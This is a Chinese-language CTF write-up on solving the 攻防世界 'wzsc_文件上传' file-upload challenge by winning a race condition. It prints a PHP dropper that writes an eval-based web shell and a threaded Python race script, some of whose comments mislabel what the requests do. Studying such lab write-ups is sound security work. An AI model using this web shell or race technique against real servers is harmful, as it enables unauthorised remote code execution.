114,【6】攻防世界 web wzsc_文件上传
进入靶场
传个桌面有的
直接空白了
我们
访问一下上传的东西
/index
没显示用于解析的.htaccess和.user.ini 文件,还两个都不显示
但上传的时候bp查看状态码是200,意味着上传成功了
别的博主说这是服务器在短时间内就立刻将其删掉了,需要采取条件竞争,我们需要抢在它删除之前访问文件并生成一句话木马文件,所以访问包的线程需要大于上传包的线程。大量的线程用于访问缓存数据,能够快速地从缓存中获取数据
这需要bp来实现(我勒个豆,bp这么高级)
文件名
1.php
文件内容
<?php fputs(fopen("shell.php", "w"), '<?php @eval($_POST["shell"]); ?>'); ?>
- 此 PHP 代码的作用是创建一个名为
shell.php
的文件。- 并将
<?php @eval($_POST["shell"]); ?>
写入该文件。@eval($_POST["shell"]);
这部分代码会执行通过 POST 请求传递给shell.php
的任意 PHP 代码
上传时抓包发到intruder
点击右边的资源池
右键名称处会自动填写,再设置最大请求数
还需要将攻击荷载设置为空
但是我这块设置不了,为空的时候,右边的payload那块就是空的,类型和无限重复就设置不了
所以勾选了一个影响不大的东西,这里勾选的东西需要确保置换为空时不产生影响的
上一步实现后,运用大佬的脚本创造shell.php
import requests
import threading
import os
# 定义一个继承自 threading.Thread 的类 RaceCondition,用于模拟竞争条件下的文件上传和访问操作
class RaceCondition(threading.Thread):
def __init__(self):
# 调用父类 threading.Thread 的构造函数进行初始化
threading.Thread.__init__(self)
# 定义要访问的 URL,这里省略了具体的 URL,实际使用时需要补充完整
self.url = '。。。。。。。。。。。。。。'
# 定义上传文件的 URL,这里是上传到 shell.php 的地址
self.uploadUrl = '。。。。。。。。。。upload/shell.php'
# 定义一个私有方法 _get,用于尝试访问已上传的文件
def _get(self):
# 打印提示信息,表示正在尝试调用已上传的文件
print('try to call uploaded file...')
# 使用 requests 库发送 GET 请求到指定的 URL
r = requests.get(self.url)
# 检查响应的状态码是否为 200(表示请求成功)
if r.status_code == 200:
# 如果请求成功,打印成功信息
print('[*] create file shell.php success.')
# 退出整个 Python 程序
os._exit(0)
# 定义一个私有方法 _upload,用于上传文件
def _upload(self):
# 打印提示信息,表示正在上传文件
print('upload file...')
# 使用 requests 库发送 GET 请求到上传文件的 URL
rs = requests.get(self.uploadUrl)
# 检查响应的状态码是否为 200(表示请求成功)
if rs.status_code == 200:
# 如果请求成功,打印成功信息
print('[*] create file shell.php success.')
# 退出整个 Python 程序
os._exit(0)
# 定义线程的运行方法,当线程启动时会自动调用该方法
def run(self):
while True:
# 循环 5 次,调用 _get 方法尝试访问已上传的文件
for i in range(5):
self._get()
# 循环 10 次,每次先调用 _upload 方法上传文件,然后再调用 _get 方法尝试访问已上传的文件
for i in range(10):
self._upload()
self._get()
if __name__ == '__main__':
# 定义要创建的线程数量为 50
threads = 50
# 循环创建指定数量的线程实例,并启动这些线程
for i in range(threads):
# 创建一个 RaceCondition 类的实例
t = RaceCondition()
# 启动线程
t.start()
# 循环等待所有线程执行完毕
for i in range(threads):
# 调用线程的 join 方法,等待线程执行结束
t.join()
最后访问upload发现上传成功时,用蚂剑连接即可,密码就是shell
终于做出来了